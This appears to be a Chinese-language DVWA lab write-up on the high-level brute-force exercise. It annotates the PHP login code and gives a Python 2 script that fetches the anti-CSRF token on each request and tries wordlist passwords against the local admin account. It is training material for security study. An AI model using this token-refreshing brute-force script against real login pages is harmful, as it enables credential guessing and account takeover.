Brute Force_high

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token  检查Anti-CSRF的令牌
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    //执行checkToken方法 传入3个变量
    
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    /*stripslashes(string) 函数删除由 addslashes() 函数添加的反斜杠。返回已剥离反斜杠的字符串。
    //该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。
    //string    必需。规定要检查的字符串
    addslashes(string)
        string    必需。规定要转义的字符串。
        addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
        预定义字符是：单引号（'）、双引号（"）、反斜杠（）、NULL
        该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
        默认地，PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。
        所以您不应对已转义过的字符串使用 addslashes()，因为这样会导致双层转义。
        遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
    */
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src="{$avatar}" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();    //随机生成一个Token  

?>

High级别的代码加入了Token，可以抵御CSRF攻击，同时也增加了爆破的难度，通过抓包，就可以看到，登录验证时提交了四个参数：username、password、Login以及user_token。

其中，还使用了stripslashes（去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个）、 mysql_real_escape_string对参数username、password进行过滤、转义，进一步抵御sql注入。

暴力破解exp

由于加入了Anti-CSRFtoken预防无脑爆破，这里就不可以像之前low和high中的那样使用Burpsuite了，然后再网上找了半天，结果找到别人写的一个python代码，可以借鉴来使用一下。

python EXP:

from bs4 import BeautifulSoup
import urllib2
#python2.7
header={        'Host': '127.0.0.1',
        'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Referer': 'http://127.0.0.1/dvwa-master/vulnerabilities/brute/index.php',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Cookie': 'security=high; PHPSESSID=pdlq960glohbrr10fjg83a9k34'}
requrl = "http://127.0.0.1/dvwa-master/vulnerabilities/brute/"

"""
get_token的功能是通过python的BeautifulSoup库从html页面中抓取user_token的值，为了方便展示，这里设置只尝试10次。
"""
def get_token(requrl,header):
    req = urllib2.Request(url=requrl,headers=header)
    response = urllib2.urlopen(req)
    print response.getcode(),
    the_page = response.read()
    print len(the_page)
    soup = BeautifulSoup(the_page,"html.parser")
    user_token = soup.form.input.input.input.input["value"] #get the user_token
    return user_token

user_token = get_token(requrl,header)
i=0
for line in open("rkolin.txt"):
    #只是爆破密码，运行十次
    requrl = "http://127.0.0.1/dvwa-master/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
    i = i+1
    print i,'admin',line.strip(),
    user_token = get_token(requrl,header)
    if (i == 10):
        break

通过python代码跑后结果，对比结果看到，密码为password时返回的长度不太一样，手工验证，登录成功，爆破完成。